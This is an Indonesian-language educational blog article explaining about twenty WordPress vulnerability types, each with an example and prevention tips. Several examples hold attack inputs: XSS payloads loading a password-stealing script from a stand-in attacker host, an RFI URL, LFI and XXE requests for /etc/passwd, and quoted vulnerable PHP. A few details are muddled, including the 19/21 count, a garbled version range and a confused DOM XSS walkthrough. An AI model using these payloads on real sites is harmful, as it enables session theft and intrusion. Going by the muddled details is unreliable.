Kerentanan WordPress Dijelaskan
Diterbitkan: 2021-01-27Sayangnya, ada kerentanan WordPress. Kerentanan WordPress bisa ada di plugin Anda, tema Anda, dan bahkan inti WordPress. Dan karena WordPress sekarang mendukung hampir 40% dari semua situs web, tugas memahami kerentanan menjadi lebih penting. Sederhananya: Anda harus waspada dengan keamanan situs web Anda.
Jika Anda bukan ahli keamanan WordPress, memahami semua berbagai kerentanan WordPress bisa menjadi hal yang menakutkan. Mungkin juga sulit untuk mencoba memahami berbagai tingkat keparahan kerentanan, bersama dengan risiko kerentanan WordPress.
Panduan ini akan mendefinisikan 21 kerentanan WordPress yang paling umum, mencakup cara menilai tingkat keparahan kerentanan WordPress, memberikan contoh bagaimana peretas dapat mengeksploitasi kerentanan, dan menunjukkan bagaimana kerentanan ini dapat dicegah. Mari selami.
Apa itu Kerentanan WordPress?
Kerentanan WordPress adalah kelemahan atau cacat pada tema, plugin, atau inti WordPress yang dapat dimanfaatkan oleh peretas. Dengan kata lain, kerentanan WordPress membuat titik masuk yang dapat digunakan peretas untuk melakukan aktivitas jahat.
Perlu diingat bahwa peretasan situs web hampir semuanya otomatis. Karena itu, peretas dapat dengan mudah membobol sejumlah besar situs web dalam waktu singkat. Peretas menggunakan alat khusus yang memindai internet, mencari kerentanan yang diketahui.
Peretas menyukai sasaran empuk, dan memiliki situs web yang menjalankan perangkat lunak dengan kerentanan yang diketahui seperti memberikan petunjuk langkah demi langkah kepada peretas untuk membobol situs web WordPress, server, komputer, atau perangkat lain yang terhubung ke internet.
Laporan pengumpulan kerentanan WordPress bulanan kami mencakup semua inti WordPress, plugin WordPress, dan kerentanan tema yang diungkapkan secara publik. Dalam ringkasan ini, kami membagikan nama plugin atau tema yang rentan, versi yang terpengaruh, dan jenis kerentanannya.
Apa itu Kerentanan Zero-Day?
Kerentanan zero-day adalah kerentanan yang telah diungkapkan kepada publik sebelum pengembang merilis patch untuk kerentanan tersebut.Ketika datang ke kerentanan WordPress, penting untuk memahami definisi kerentanan zero-day. Karena kerentanan diungkapkan kepada publik, pengembang memiliki waktu nol hari untuk menambal kerentanan. Dan ini dapat memiliki implikasi besar untuk plugin dan tema Anda.
Biasanya, seorang peneliti keamanan akan menemukan kerentanan dan secara pribadi mengungkapkan kerentanan tersebut kepada pengembang perusahaan yang memiliki perangkat lunak tersebut. Peneliti keamanan dan pengembang setuju bahwa detail lengkap akan dipublikasikan setelah patch tersedia. Mungkin ada sedikit keterlambatan dalam mengungkapkan kerentanan setelah tambalan dirilis untuk memberi lebih banyak waktu bagi orang untuk memperbarui kerentanan keamanan utama.
Namun, jika pengembang tidak menanggapi peneliti keamanan atau gagal memberikan tambalan untuk kerentanan, maka peneliti dapat mengungkapkan kerentanan secara terbuka untuk memberi tekanan pada pengembang untuk mengeluarkan tambalan.
Mengungkapkan kerentanan secara publik dan tampaknya memperkenalkan zero-day mungkin tampak kontraproduktif. Tapi, itu adalah satu-satunya pengaruh yang dimiliki peneliti untuk menekan pengembang untuk menambal kerentanan.
Project Zero Google memiliki pedoman serupa dalam hal mengungkapkan kerentanan. Mereka mempublikasikan rincian lengkap kerentanan setelah 90 hari. Apakah kerentanan telah ditambal atau tidak.
Kerentanan ada untuk ditemukan oleh siapa saja. Jika seorang peretas menemukan kerentanan sebelum pengembang merilis tambalan, itu menjadi mimpi buruk terburuk bagi pengguna akhir…. Zero-day yang dieksploitasi secara aktif.
Apa itu Kerentanan Zero-Day yang Dieksploitasi Secara Aktif?
Kerentanan Zero-Day yang Dieksploitasi secara Aktif adalah persis seperti apa kedengarannya. Ini adalah kerentanan yang belum ditambal yang ditargetkan, diserang, dan dieksploitasi secara aktif oleh peretas.
Pada akhir 2018, peretas secara aktif mengeksploitasi kerentanan WordPress yang serius di plugin Kepatuhan WP GDPR. Eksploitasi memungkinkan pengguna yang tidak sah — lebih lanjut tentang ini di bagian berikutnya — untuk mengubah pengaturan pendaftaran pengguna WP dan mengubah peran pengguna baru default dari pelanggan menjadi administrator.
Peretas ini menemukan kerentanan ini sebelum plugin Kepatuhan WP GDPR dan peneliti keamanan. Jadi, situs web apa pun yang memasang plugin adalah tanda yang mudah dan terjamin bagi penjahat dunia maya.
Bagaimana Melindungi Diri Anda Dari Kerentanan Zero-Day
Cara terbaik untuk melindungi situs web Anda dari kerentanan Zero-Day adalah dengan menonaktifkan dan menghapus perangkat lunak hingga kerentanan ditambal. Untungnya, pengembang plugin Kepatuhan WP GDPR bertindak cepat dan merilis tambalan untuk kerentanan sehari setelah diungkapkan secara publik.
Kerentanan yang tidak ditambal membuat situs web Anda menjadi sasaran empuk bagi peretas.
Kerentanan WordPress yang Tidak Diautentikasi vs. yang Diautentikasi
Ada dua istilah lagi yang perlu Anda ketahui ketika berbicara tentang kerentanan WordPress.
- Tidak Diautentikasi – Kerentanan WordPress yang tidak diautentikasi berarti siapa pun dapat mengeksploitasi kerentanan.
- Diotentikasi – Kerentanan WordPress yang diautentikasi berarti memerlukan pengguna yang masuk untuk mengeksploitasi.
Kerentanan yang memerlukan pengguna yang diautentikasi jauh lebih sulit untuk dieksploitasi oleh peretas, terutama jika memerlukan hak istimewa tingkat admin. Dan, jika seorang peretas sudah memiliki satu set kredensial admin, mereka benar-benar tidak perlu mengeksploitasi kerentanan untuk mendatangkan malapetaka.
Ada satu peringatan. Beberapa kerentanan yang diautentikasi hanya memerlukan kemampuan tingkat pelanggan untuk dieksploitasi. Jika situs web Anda mengizinkan siapa pun untuk mendaftar, sebenarnya tidak ada banyak perbedaan antara kerentanan ini dan kerentanan yang tidak diautentikasi.
19 Kerentanan WordPress Umum Dijelaskan
Dalam hal kerentanan WordPress, ada 21 jenis kerentanan yang umum. Mari kita bahas masing-masing jenis kerentanan WordPress ini.
1. Bypass Otentikasi
Kerentanan Bypass Otentikasi memungkinkan penyerang untuk melewati persyaratan otentikasi dan melakukan tugas yang biasanya disediakan untuk pengguna yang diautentikasi.
Otentikasi adalah proses verifikasi identitas pengguna. WordPress mengharuskan pengguna untuk memasukkan nama pengguna dan kata sandi untuk memverifikasi identitas mereka.
Contoh Bypass Otentikasi
Aplikasi memverifikasi otentikasi berdasarkan serangkaian parameter tetap. Penyerang dapat memodifikasi parameter ini untuk mendapatkan akses ke halaman web yang biasanya memerlukan autentikasi.
Contoh yang sangat mendasar dari sesuatu seperti ini adalah parameter otentikasi di URL.
https:/my-website/some-plugint?param=authenticated¶m=no
URL di atas memiliki parameter autentikasi yang memiliki nilai no. Jadi ketika kami mengunjungi halaman ini, kami akan disajikan dengan pesan yang memberi tahu kami bahwa kami tidak diizinkan untuk melihat informasi di halaman ini.

Namun, jika pemeriksaan otentikasi dikodekan dengan buruk, penyerang dapat mengubah parameter otentikasi untuk mendapatkan akses ke halaman pribadi.
https:/my-website/some-plugint?param=authenticated¶m=yes
Dalam contoh ini, peretas dapat mengubah nilai autentikasi di URL menjadi ya untuk mengabaikan persyaratan autentikasi untuk melihat halaman.

Cara Mencegah Pencegahan Bypass Otentikasi
Anda dapat membantu melindungi situs web Anda dari kerentanan Otentikasi Rusak dengan menggunakan autentikasi dua faktor.
2. Kerentanan Pintu Belakang
Kerentanan Backdoor memungkinkan pengguna yang berwenang dan tidak sah untuk melewati langkah-langkah keamanan normal dan mendapatkan akses tingkat tinggi ke komputer, server, situs web, atau aplikasi.
Contoh Pintu Belakang
Pengembang membuat pintu belakang sehingga mereka dapat dengan cepat beralih antara pengkodean dan pengujian kode sebagai pengguna admin. Sayangnya, pengembang lupa untuk menghapus backdoor sebelum perangkat lunak dirilis ke publik.
Jika peretas menemukan pintu belakang, mereka dapat mengeksploitasi titik masuk untuk mendapatkan akses admin ke perangkat lunak. Sekarang peretas memiliki akses admin, mereka dapat melakukan segala macam hal jahat seperti menyuntikkan malware atau mencuri data sensitif.
Cara Mencegah Pintu Belakang
Banyak backdoor dapat diringkas menjadi satu masalah, kesalahan konfigurasi keamanan. Masalah kesalahan konfigurasi keamanan dapat dikurangi dengan menghapus semua fitur yang tidak digunakan dalam kode, menjaga agar semua pustaka tetap mutakhir, dan membuat pesan kesalahan lebih umum.
3. Kerentanan Objek-Injeksi PHP
Kerentanan PHP Object-Injection terjadi dengan pengguna mengirimkan input yang tidak disanitasi (artinya karakter ilegal tidak dihapus) sebelum diteruskan ke fungsi PHP unserialized()
.
Contoh Injeksi Objek PHP
Berikut adalah contoh nyata dari kerentanan PHP Object-Injection di plugin Sample Ads Manager WordPress yang awalnya dilaporkan oleh sumofpwn.
Masalahnya adalah karena dua panggilan tidak aman ke unserialize() dalam file plugin sam-ajax-loader.php
. Input diambil langsung dari permintaan POST seperti yang dapat dilihat pada kode di bawah ini.
if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;
Masalah ini dapat mengakibatkan penyerang memasukkan dan mengeksekusi kode berbahaya.
Cara Mencegah Injeksi Objek PHP
Jangan gunakan fungsi unserialize()
dengan input yang disediakan pengguna, gunakan fungsi JSON sebagai gantinya.
4. Kerentanan Scripting Lintas Situs
Kerentanan XSS atau Cross-Site Scripting terjadi saat aplikasi web mengizinkan pengguna untuk menambahkan kode kustom di jalur URL. Penyerang dapat mengeksploitasi kerentanan untuk menjalankan kode berbahaya di browser web korban, membuat pengalihan ke situs web berbahaya, atau membajak sesi pengguna.
Ada tiga jenis utama XSS, tercermin. disimpan, dan Berbasis DOM
5. Kerentanan Skrip Lintas Situs yang Tercermin
XSS Tercermin atau Skrip Lintas Situs Tercermin terjadi ketika skrip berbahaya dikirim dalam permintaan klien–permintaan yang Anda buat di browser–ke server dan dipantulkan kembali oleh server dan dijalankan oleh browser Anda.
Contoh Skrip Lintas Situs Tercermin
Katakanlah yourfavesite.com
mengharuskan Anda masuk untuk melihat beberapa konten situs web. Dan katakanlah situs web ini gagal menyandikan input pengguna dengan benar.
Penyerang dapat memanfaatkan kerentanan ini dengan membuat tautan berbahaya dan membagikannya dengan pengguna situs yourfavesite.com
melalui email dan pos media sosial.
Penyerang menggunakan alat pemendek URL untuk membuat tautan jahat terlihat tidak mengancam dan sangat dapat diklik, yourfavesite.com/cool-stuff
. Namun, ketika Anda mengeklik tautan yang dipersingkat, tautan lengkapnya dijalankan oleh browser yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js
.
Setelah mengklik link, Anda akan dibawa ke yourfavesite.com
, dan skrip berbahaya akan ditampilkan kembali ke browser Anda, memungkinkan penyerang untuk membajak cookie sesi dan akun yourfavesite.com
.
Cara Mencegah Skrip Lintas Situs yang Tercermin
Aturan #5 pada lembar contekan pencegahan cross-scripting OWASP adalah pengkodean URL sebelum memasukkan data yang tidak dipercaya ke dalam nilai parameter URL HTML. Aturan ini dapat membantu mencegah pembuatan kerentanan XSS yang direfleksikan saat menambahkan data yang tidak tepercaya ke dalam nilai parameter HTTP GET.
<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
6. Kerentanan Scripting Lintas Situs Tersimpan
Kerentanan Stored XSS atau Stored Cross-Site Scripting memungkinkan peretas memasukkan kode berbahaya ke dalam dan menyimpannya di server aplikasi web.
Contoh Skrip Lintas Situs Tersimpan
Seorang penyerang menemukan bahwa yourfavesite.com
mengizinkan pengunjung untuk menyematkan tag HTML di bagian komentar situs. Jadi penyerang membuat komentar baru:
Artikel bagus! Lihat artikel <script src=”http://bad-guys.com/passwordstealingcode.js>
hebat terkait lainnya ini. </script>
Sekarang orang jahat kami telah menambahkan komentar, setiap pengunjung halaman ini di masa mendatang akan terkena skrip jahat mereka. Script di-host di situs web orang jahat dan memiliki kemampuan untuk membajak cookie sesi pengunjung dan akun yourfavesite.com
.
Bagaimana Mencegah Scripting Lintas Situs Tersimpan
Aturan #1 pada lembar contekan pencegahan cross-scripting OWASP adalah penyandian HTML sebelum menambahkan data yang tidak dipercaya ke dalam elemen HTML.
<body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
<div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>
Mengkodekan karakter berikut untuk mencegah peralihan ke konteks eksekusi apa pun, seperti skrip, gaya, atau pengendali peristiwa. Menggunakan entitas hex direkomendasikan dalam spesifikasi.
& --> & < --> < > --> > " --> " ' --> '
7. Kerentanan Skrip Lintas Situs Berbasis Model Objek Dokumen
Kerentanan XSS atau Document Object Model-Based Cross-Site Scripting berbasis DOM terjadi saat skrip sisi klien situs web menulis data yang disediakan pengguna ke Document Object Model (DOM). Situs web kemudian membaca tanggal pengguna dari DOM dan menampilkannya ke browser web pengunjung.
Jika data yang diberikan pengguna tidak ditangani dengan benar, penyerang dapat menyuntikkan kode berbahaya yang akan dieksekusi saat situs web membaca kode dari DOM.
Contoh Skrip Lintas Situs Berbasis Model Objek Dokumen
Cara umum untuk menjelaskan serangan DOM XSS pada halaman selamat datang khusus. Setelah membuat akun, misalkan yourfavesite.com
Anda diarahkan ke halaman selamat datang yang disesuaikan untuk menyambut Anda dengan nama menggunakan kode di bawah ini. Dan nama pengguna dikodekan ke dalam URL.
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>
Jadi, kami akan memiliki URL yourfavesite.com/account?name=yourname
.
Penyerang dapat melakukan serangan XSS berbasis DOM dengan mengirimkan URL berikut ke pengguna baru:
http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>
Saat pengguna baru mengklik tautan, browser mereka mengirim permintaan untuk:
/account?name=<script>alert(document.cookie)</script>
ke bad-guys.com
. Situs web merespons dengan halaman yang berisi kode Javascript di atas.
Browser pengguna baru membuat objek DOM untuk halaman, di mana objek document.location
berisi string:
http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>
Kode asli di halaman tidak mengharapkan parameter default berisi markup HTML, menggemakan markup ke halaman. Kemudian browser pengguna baru akan merender halaman dan mengeksekusi skrip penyerang:
alert(document.cookie)
Cara Mencegah Skrip Lintas Situs Berbasis DOM
Aturan #1 pada lembar contekan pencegahan skrip lintas situs berbasis OWASP Dom adalah menghindari HTML. Kemudian, JS keluar sebelum menambahkan data yang tidak dipercaya ke dalam subkonteks HTML dalam konteks eksekusi.
Contoh Metode HTML Berbahaya:
Atribut
element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";
Metode
document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");
Untuk membuat pembaruan dinamis ke HTML di brankas DOM, OWASP merekomendasikan:
- Pengkodean HTML, dan kemudian
- JavaScript mengkodekan semua input yang tidak tepercaya, seperti yang ditunjukkan dalam contoh berikut:
element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");
8. Kerentanan Pemalsuan Permintaan Lintas Situs
Kerentanan CSRF atau Pemalsuan Permintaan Lintas Situs terjadi ketika penjahat dunia maya menipu pengguna untuk melakukan tindakan yang tidak diinginkan. Penyerang memalsukan permintaan pengguna ke aplikasi.
Contoh Pemalsuan Permintaan Lintas Situs
Dalam Roundup Kerentanan WordPress Januari 2020 kami, kami melaporkan kerentanan Pemalsuan Permintaan Lintas Situs yang ditemukan di plugin Cuplikan Kode. (Plugin dengan cepat ditambal di versi 2.14.0)
Kurangnya perlindungan CRSF plugin memungkinkan siapa pun untuk memalsukan permintaan atas nama administrator dan menyuntikkan kode yang dapat dieksekusi di situs yang rentan. Penyerang dapat memanfaatkan kerentanan ini untuk mengeksekusi kode berbahaya dan bahkan melakukan pengambilalihan situs secara menyeluruh.
Cara Mencegah Pemalsuan Permintaan Lintas Situs
Sebagian besar kerangka kerja pengkodean memiliki pertahanan token tersinkronisasi bawaan untuk melindungi dari CSRF, dan mereka harus digunakan.
Ada juga komponen eksternal seperti Proyek Pelindung CSRF yang dapat digunakan untuk melindungi kerentanan PHP dan Apache CSRF.
9. Kerentanan Pemalsuan Permintaan Sisi Server
Kerentanan SSRF atau Server-Site Request Forger memungkinkan penyerang mengelabui aplikasi sisi server untuk membuat permintaan HTTP ke domain arbitrer yang mereka pilih.
Contoh Pemalsuan Permintaan Sisi Server
Kerentanan SSRF dapat dieksploitasi untuk melakukan serangan Skrip Lintas Situs Tercermin. Penyerang dapat mengambil skrip berbahaya dari bad-guys.com dan menyajikannya kepada semua pengunjung situs web.
Cara Mencegah Pemalsuan Permintaan Sisi Server
Langkah pertama untuk mengurangi kerentanan SSRF adalah memvalidasi input. Misalnya, jika server Anda bergantung pada URL yang disediakan pengguna untuk mengambil file yang berbeda, Anda harus memvalidasi URL dan hanya mengizinkan host target yang Anda percayai.
Untuk informasi lebih lanjut tentang pencegahan SSRF, lihat lembar contekan OWASP.
10. Kerentanan Eskalasi Hak Istimewa
Kerentanan Privilege Eskalasi memungkinkan penyerang untuk menjalankan tugas yang biasanya memerlukan hak istimewa tingkat yang lebih tinggi.
Contoh Eskalasi Hak Istimewa
Dalam Roundup Kerentanan WordPress November 2020 kami, kami melaporkan kerentanan eskalasi hak istimewa yang ditemukan di plugin Ultimate Member (Kerentanan telah ditambal di versi 2.1.12).
Penyerang dapat menyediakan parameter larik untuk meta pengguna wp_capabilities
yang mendefinisikan peran pengguna. Selama proses pendaftaran, detail pendaftaran yang dikirimkan diteruskan ke fungsi update_profile
, dan setiap metadata yang dikirimkan, terlepas dari apa yang dikirimkan, akan diperbarui untuk pengguna yang baru terdaftar itu.
Kerentanan pada dasarnya memungkinkan pengguna baru untuk meminta administrator saat mendaftar.
Cara Mencegah Eskalasi Hak Istimewa
iThemes Security Pro dapat membantu melindungi situs web Anda dari Kontrol Akses Rusak dengan membatasi akses admin ke daftar Perangkat Tepercaya.
11. Kerentanan Eksekusi Kode Jarak Jauh
Kerentanan RCE atau Remote Code Execution memungkinkan penyerang mengakses dan membuat perubahan dan bahkan mengambil alih komputer atau server.
Contoh Eksekusi Kode Jarak Jauh
Pada tahun 2018, Microsoft mengungkapkan kerentanan eksekusi kode jarak jauh yang ditemukan di Excel.
Penyerang yang berhasil mengeksploitasi kerentanan dapat menjalankan kode arbitrer dalam konteks pengguna saat ini. Jika pengguna saat ini masuk dengan hak pengguna administratif, penyerang dapat mengambil alih sistem yang terpengaruh. Penyerang kemudian dapat menginstal program; melihat, mengubah, atau menghapus data; atau buat akun baru dengan hak pengguna penuh. Pengguna yang akunnya dikonfigurasi untuk memiliki lebih sedikit hak pengguna pada sistem dapat terpengaruh lebih sedikit daripada pengguna yang beroperasi dengan hak pengguna administratif.
Cara Mencegah Eksekusi Kode Jarak Jauh
Cara termudah untuk mengurangi kerentanan RCE adalah dengan memvalidasi input pengguna dengan memfilter dan menghapus karakter yang tidak diinginkan.
Perusahaan induk kami Liquid Web, memiliki artikel bagus tentang mencegah eksekusi kode jarak jauh.
12. Kerentanan Penyertaan File
Kerentanan File Inclusion terjadi ketika aplikasi web memungkinkan pengguna untuk mengirimkan input ke dalam file atau mengunggah file ke server.
Ada dua jenis kerentanan inklusi file, Lokal dan Jarak Jauh.
13. Kerentanan Penyertaan File Lokal
Kerentanan LFI atau Penyertaan File Lokal memungkinkan penyerang membaca dan terkadang mengeksekusi file di server situs web.
Contoh Penyertaan File Lokal
Mari kita lihat lagi yourfavesite.com
, di mana jalur yang dilewati untuk include
pernyataan tidak dibersihkan dengan benar. Sebagai contoh, mari kita lihat URL di bawah ini.
yourfavesite.com/module.php?file=example.file
Penyerang dapat mengubah parameter URL untuk mengakses file arbitrer di server.
yourfavesite.com/module.php?file=etc/passwd
Mengubah nilai file di URL dapat memungkinkan penyerang melihat konten file psswd.
Cara Mencegah Penyertaan File Lokal
Buat daftar file yang diizinkan yang mungkin disertakan halaman, lalu gunakan pengenal untuk mengakses file yang dipilih. Dan kemudian blokir permintaan apa pun yang berisi pengenal yang tidak valid.
14. Kerentanan Penyertaan File Jarak Jauh
Kerentanan RFI atau Penyertaan File Jarak Jauh memungkinkan penyerang memasukkan file, biasanya mengeksploitasi mekanisme "penyertaan file dinamis" yang diterapkan dalam aplikasi target.
Contoh Penyertaan File Jarak Jauh
Plugin WordPress WP dengan Spritz ditutup di repositori WordPress.org karena memiliki kerentanan RFI.
Di bawah ini adalah kode sumber kerentanan:
if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);
Kode dapat dieksploitasi dengan mengubah nilai content.filter.php?url=
value. Sebagai contoh:
yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec
Pencegahan Penyertaan File Jarak Jauh
Buat daftar file yang diizinkan yang mungkin disertakan halaman, lalu gunakan pengenal untuk mengakses file yang dipilih. Dan kemudian blokir permintaan apa pun yang berisi pengenal yang tidak valid.
15. Kerentanan Traversal Direktori
Kerentanan Directory Traversal atau File Traversal memungkinkan penyerang membaca file arbitrer di server yang menjalankan aplikasi.
Contoh Traversal Direktori
WordPress versi 5.7 – 5.03 rentan terhadap serangan traversal direktori karena gagal memverifikasi data input pengguna dengan benar. Penyerang dengan akses ke akun dengan setidaknya hak author
dapat mengeksploitasi kerentanan traversal direktori dan mengeksekusi kode PHP berbahaya di server yang mendasarinya, yang mengarah ke pengambilalihan jarak jauh penuh.
Bagaimana Mencegah Traversal Direktori
Pengembang dapat menggunakan indeks daripada bagian sebenarnya dari nama file saat membuat templat atau menggunakan file bahasa.
16. Kerentanan Pengalihan Berbahaya
Kerentanan Pengalihan Berbahaya memungkinkan penyerang menyuntikkan kode untuk mengalihkan pengunjung situs ke situs web lain.
Contoh Pengalihan Berbahaya
Katakanlah Anda sedang mencari sweter biru menggunakan alat pencarian di butik online.
Sayangnya, server butik gagal menyandikan input pengguna dengan benar, dan penyerang dapat menyuntikkan skrip pengalihan berbahaya ke kueri penelusuran Anda.
Jadi, ketika Anda mengetik sweter biru ke dalam bidang pencarian butik dan menekan enter, Anda akan berakhir di halaman web penyerang, bukan halaman butik dengan sweter yang cocok dengan deskripsi pencarian Anda.
Cara Mencegah Pengalihan Berbahaya
Anda dapat melindungi dari pengalihan berbahaya dengan membersihkan input pengguna, memvalidasi URL, dan mendapatkan konfirmasi pengunjung untuk semua pengalihan di luar situs.
17. Kerentanan Entitas Eksternal XML
Kerentanan XXE atau XML Entitas Eksternal memungkinkan penyerang mengelabui parser XML agar menyampaikan informasi sensitif ke entitas eksternal di bawah kendali mereka.
Contoh Entitas Eksternal XML
Penyerang dapat mengeksploitasi kerentanan XXE untuk mendapatkan akses ke file sensitif seperti etc/passwd, yang menyimpan informasi akun pengguna.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
Bagaimana Mencegah Entitas Eksternal XML
Cara terbaik untuk mencegah XXE adalah dengan menggunakan format data yang tidak terlalu rumit seperti JSON dan menghindari serialisasi data sensitif.
18. Serangan Denial of Service
Serangan DoS atau Denial-of-Service adalah upaya yang disengaja untuk membuat situs web atau aplikasi Anda tidak tersedia bagi pengguna dengan membanjirinya dengan lalu lintas jaringan.
Dalam serangan DDoS Distributed Denial of Service, penyerang menggunakan banyak sumber untuk membanjiri jaringan dengan lalu lintas. Penyerang akan membajak sekelompok komputer, router, dan perangkat IoT yang terinfeksi malware, untuk meningkatkan arus lalu lintas.
Contoh Serangan Denial of Service
Serangan DDoS (Distributed Denial-of-Service) terbesar yang pernah ada dilakukan terhadap AWS pada bulan Februari tahun ini. Amazon melaporkan bahwa AWS Shield, layanan perlindungan ancaman terkelola mereka, mengamati dan mengurangi serangan DDoS besar ini. Serangan itu berlangsung selama 3 hari dan mencapai puncaknya pada 2,3 Terabyte per detik.
Cara Mencegah Serangan Denial of Service
Ada 2 cara utama untuk mengurangi serangan DoS.
- Beli lebih banyak hosting daripada yang Anda butuhkan. Memiliki sumber daya tambahan dapat membantu Anda mengatasi peningkatan permintaan yang disebabkan oleh serangan DoS.
- Gunakan firewall tingkat server seperti Cloudflare. Firewall dapat mendeteksi lonjakan lalu lintas yang tidak biasa dan mencegah situs web Anda menjadi kelebihan beban.
19. Pencatatan Keystroke
Keystroke Logging , juga dikenal sebagai keylogging atau keyboard capture, terjadi ketika seorang hacker diam-diam memantau dan mencatat penekanan tombol pengunjung situs web.
Contoh Pencatatan Keystroke
Pada tahun 2017, seorang peretas berhasil menginstal JavaScript berbahaya di server pembuat ponsel cerdas OnePlus.
Dengan menggunakan kode berbahaya, penyerang memantau dan mencatat penekanan tombol pelanggan OnePlus saat mereka memasukkan detail kartu kredit mereka. Peretas mencatat dan mengumpulkan penekanan tombol dari 40.000 pelanggan sebelum OnePlus mendeteksi dan menambal peretasan.
Bagaimana Mencegah logging Keystroke
Perbarui semuanya! Biasanya, penyerang perlu mengeksploitasi kerentanan lain yang ada untuk menyuntikkan keylogger di komputer atau server. Menjaga semuanya diperbarui dengan patch keamanan terbaru akan mencegah peretas memberikan cara mudah untuk menginstal keylogger di situs web atau komputer Anda.
Bonus: 2 Rekayasa Sosial & Kerentanan Pengguna
Kerentanan perangkat lunak adalah satu-satunya hal yang coba dieksploitasi oleh peretas dan penjahat dunia maya. Peretas juga menargetkan dan mengeksploitasi manusia. Mari kita lihat beberapa cara kita bisa berubah menjadi kerentanan.
1. Phising
Phishing adalah metode serangan cyber menggunakan email, media sosial, pesan teks, dan panggilan telepon untuk mengelabui korban agar memberikan informasi pribadi. Penyerang kemudian akan menggunakan informasi tersebut untuk mengakses akun pribadi atau melakukan penipuan identitas.
Cara Menemukan Email Phishing
Seperti yang kita pelajari sebelumnya dalam posting ini, beberapa kerentanan memerlukan beberapa jenis interaksi pengguna untuk dieksploitasi. Salah satu cara peretas menipu orang untuk berpartisipasi dalam upaya jahat mereka adalah dengan mengirim email phishing.
Mempelajari cara mengenali email phishing dapat menyelamatkan Anda dari bermain-main dengan rencana penjahat dunia maya.
4 tips untuk mengenali email phishing :

- Lihat alamat email dari – Jika Anda menerima email dari bisnis, bagian alamat email pengirim setelah “@” harus sesuai dengan nama bisnis.
Jika email mewakili perusahaan atau entitas pemerintah tetapi menggunakan alamat email publik seperti “@gmail,” adalah tanda email phishing.
Awasi kesalahan ejaan yang tidak kentara dari nama domain. Sebagai contoh, mari kita lihat alamat email ini [email protected] Kita dapat melihat bahwa Netflix memiliki tambahan “x” di bagian akhir. Kesalahan ejaan adalah tanda yang jelas bahwa email dikirim oleh scammer dan harus segera dihapus. - Cari kesalahan tata bahasa – Email yang penuh dengan kesalahan tata bahasa adalah tanda email berbahaya. Semua kata dapat dieja dengan benar, tetapi kalimat tidak memiliki kata yang akan membuat kalimat menjadi koheren. Misalnya, “Akun Anda telah diretas. Perbarui kata sandi untuk keamanan akun”.
Semua orang membuat kesalahan, dan tidak setiap email dengan satu atau dua kesalahan ketik adalah upaya untuk menipu Anda. Namun, beberapa kesalahan tata bahasa memerlukan pengamatan lebih dekat sebelum merespons. - Lampiran atau tautan yang mencurigakan – Sebaiknya berhenti sejenak sebelum berinteraksi dengan lampiran atau tautan apa pun yang disertakan dalam email.
Jika Anda tidak mengenali pengirim email, Anda tidak boleh mengunduh lampiran apa pun yang disertakan dalam email karena dapat berisi malware dan menginfeksi komputer Anda. Jika email tersebut mengaku berasal dari bisnis, Anda dapat mencari informasi kontak mereka di Google untuk memverifikasi bahwa email tersebut dikirim dari mereka sebelum membuka lampiran apa pun.
Jika email berisi tautan, Anda dapat mengarahkan mouse ke tautan untuk memverifikasi bahwa URL mengirim Anda ke tempat yang seharusnya. - Hati-hati dengan permintaan mendesak – Trik umum yang digunakan oleh scammers adalah menciptakan rasa urgensi. Email berbahaya mungkin membuat skenario yang membutuhkan tindakan segera. Semakin banyak waktu yang Anda punya waktu untuk berpikir, semakin besar kemungkinan Anda akan mengidentifikasi permintaan tersebut berasal dari scammer.
Anda mungkin menerima email dari "bos" Anda yang meminta Anda untuk membayar vendor ASAP atau dari bank Anda yang memberi tahu Anda bahwa akun Anda telah diretas dan tindakan segera diperlukan.
2. Kredensial Lemah
Pengguna berpotensi menjadi kerentanan keamanan WordPress terbesar.
Dalam daftar yang disusun oleh Splash Data, kata sandi paling umum yang disertakan dalam semua dump data adalah 123456. Dump data adalah database yang diretas yang diisi dengan kata sandi pengguna yang dibuang di suatu tempat di internet. Bisakah Anda bayangkan berapa banyak orang di situs web Anda yang menggunakan kata sandi yang lemah jika 123456 adalah kata sandi yang paling umum di dump data?
Meskipun 91% orang tahu bahwa menggunakan kembali kata sandi adalah praktik yang buruk, 59% orang masih menggunakan kembali kata sandi mereka di mana saja! Banyak dari orang-orang ini masih menggunakan kata sandi yang mereka tahu telah muncul di database dump.
Peretas menggunakan bentuk serangan brute force yang disebut serangan kamus. Serangan kamus adalah metode membobol situs web WordPress dengan kata sandi yang umum digunakan yang muncul di dump basis data. "Koleksi #1? Pelanggaran Data yang dihosting di MEGA yang dihosting mencakup 1.160.253.228 kombinasi unik alamat email dan kata sandi. Itu adalah miliar dengan b. Skor semacam itu akan sangat membantu serangan kamus mempersempit kata sandi WordPress yang paling umum digunakan.
Kredensial yang lemah mengubah login WordPress Anda menjadi kerentanan yang mudah dieksploitasi oleh peretas.
